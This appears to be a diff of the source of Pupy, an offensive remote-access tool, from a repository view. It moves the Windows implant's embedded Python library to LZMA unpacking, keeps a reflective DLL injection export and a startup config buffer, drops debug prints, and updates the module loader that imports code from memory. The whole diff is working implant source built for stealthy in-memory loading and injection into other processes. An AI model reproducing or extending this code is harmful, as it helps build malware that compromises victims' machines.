$(CC) /c $(CFLAGS) /I$(PYTHONPATH)\\include $<
|
||||
|
||||
LzmaDec.obj: ../lzma/LzmaDec.c
|
||||
$(CC) /c $(CFLAGS) $<
|
||||
|
||||
main_exe.obj: main_exe.c
|
||||
$(CC) /c $(CFLAGS) $<
|
||||
|
||||
|
|
|
|||
|
|
@ -6,6 +6,7 @@
|
|||
#include "Python-dynload.h"
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include "LzmaDec.h"
|
||||
#include "base_inject.h"
|
||||
static char module_doc[] = "Builtins utilities for pupy";
|
||||
|
||||
|
|
@ -13,9 +14,58 @@ extern const char resources_library_compressed_string_txt_start[];
|
|||
extern const int resources_library_compressed_string_txt_size;
|
||||
char pupy_config[40960]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup
|
||||
extern const DWORD dwPupyArch;
|
||||
static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args)
|
||||
|
||||
static void *_lzalloc(void *p, size_t size) { p = p; return malloc(size); }
|
||||
static void _lzfree(void *p, void *address) { p = p; free(address); }
|
||||
ISzAlloc _lzallocator = { _lzalloc, _lzfree };
|
||||
|
||||
static PyObject *Py_get_modules(PyObject *self, PyObject *args)
|
||||
{
|
||||
return Py_BuildValue("s#", resources_library_compressed_string_txt_start, resources_library_compressed_string_txt_size);
|
||||
char *uncompressed = NULL;
|
||||
size_t uncompressed_size = 0;
|
||||
PyObject * modules;
|
||||
|
||||
const Byte *wheader = resources_library_compressed_string_txt_start + sizeof(unsigned int);
|
||||
const Byte *woheader = wheader + LZMA_PROPS_SIZE;
|
||||
|
||||
CLzmaDec state;
|
||||
ELzmaStatus status;
|
||||
size_t srcLen;
|
||||
int res;
|
||||
|
||||
union {
|
||||
unsigned int l;
|
||||
unsigned char c[4];
|
||||
} x;
|
||||
|
||||
x.c[3] = resources_library_compressed_string_txt_start[0];
|
||||
x.c[2] = resources_library_compressed_string_txt_start[1];
|
||||
x.c[1] = resources_library_compressed_string_txt_start[2];
|
||||
x.c[0] = resources_library_compressed_string_txt_start[3];
|
||||
|
||||
uncompressed_size = x.l;
|
||||
|
||||
uncompressed = malloc(uncompressed_size);
|
||||
if (!uncompressed) {
|
||||
abort();
|
||||
}
|
||||
|
||||
srcLen = resources_library_compressed_string_txt_size - sizeof(unsigned int) - LZMA_PROPS_SIZE;
|
||||
|
||||
res = LzmaDecode(
|
||||
uncompressed, &uncompressed_size, woheader, &srcLen, wheader,
|
||||
LZMA_PROPS_SIZE, LZMA_FINISH_ANY, &status, &_lzallocator
|
||||
);
|
||||
|
||||
if (res != SZ_OK) {
|
||||
abort();
|
||||
}
|
||||
|
||||
modules = PyMarshal_ReadObjectFromString(
|
||||
uncompressed, uncompressed_size);
|
||||
|
||||
free(uncompressed);
|
||||
return modules;
|
||||
}
|
||||
|
||||
static PyObject *
|
||||
|
|
@ -74,21 +124,18 @@ static PyObject *Py_find_function_address(PyObject *self, PyObject *args)
|
|||
const char *lpDllName = NULL;
|
||||
const char *lpFuncName = NULL;
|
||||
void *address = NULL;
|
||||
printf("DEBUG 0: %s %s\n", lpDllName, lpFuncName);
|
||||
|
||||
if (PyArg_ParseTuple(args, "ss", &lpDllName, &lpFuncName)) {
|
||||
printf("DEBUG: %s %s\n", lpDllName, lpFuncName);
|
||||
address = MyFindProcAddress(lpDllName, lpFuncName);
|
||||
}
|
||||
|
||||
printf("DEBUG 2: %s %s %p\n", lpDllName, lpFuncName, address);
|
||||
return PyLong_FromVoidPtr(address);
|
||||
}
|
||||
|
||||
static PyMethodDef methods[] = {
|
||||
{ "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" },
|
||||
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
|
||||
{ "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS },
|
||||
{ "get_modules", Py_get_modules, METH_NOARGS },
|
||||
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
|
||||
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" },
|
||||
{ "find_function_address", Py_find_function_address, METH_VARARGS,
|
||||
|
|
|
|||
|
|
@ -16,7 +16,7 @@
|
|||
# This module uses the builtins modules pupy and _memimporter to load python modules and packages from memory, including .pyd files (windows only)
|
||||
# Pupy can dynamically add new modules to the modules dictionary to allow remote importing of python modules from memory !
|
||||
#
|
||||
import sys, imp, zlib, marshal
|
||||
import sys, imp, marshal
|
||||
|
||||
__debug = False;
|
||||
|
||||
|
|
@ -34,8 +34,8 @@ except ImportError:
|
|||
modules={}
|
||||
try:
|
||||
import pupy
|
||||
if not (hasattr(pupy, 'pseudo') and pupy.pseudo):
|
||||
modules = marshal.loads(zlib.decompress(pupy._get_compressed_library_string()))
|
||||
if not (hasattr(pupy, 'pseudo') and pupy.pseudo) and not modules:
|
||||
modules = pupy.get_modules()
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
|
|
|
|||
Loading…
Reference in New Issue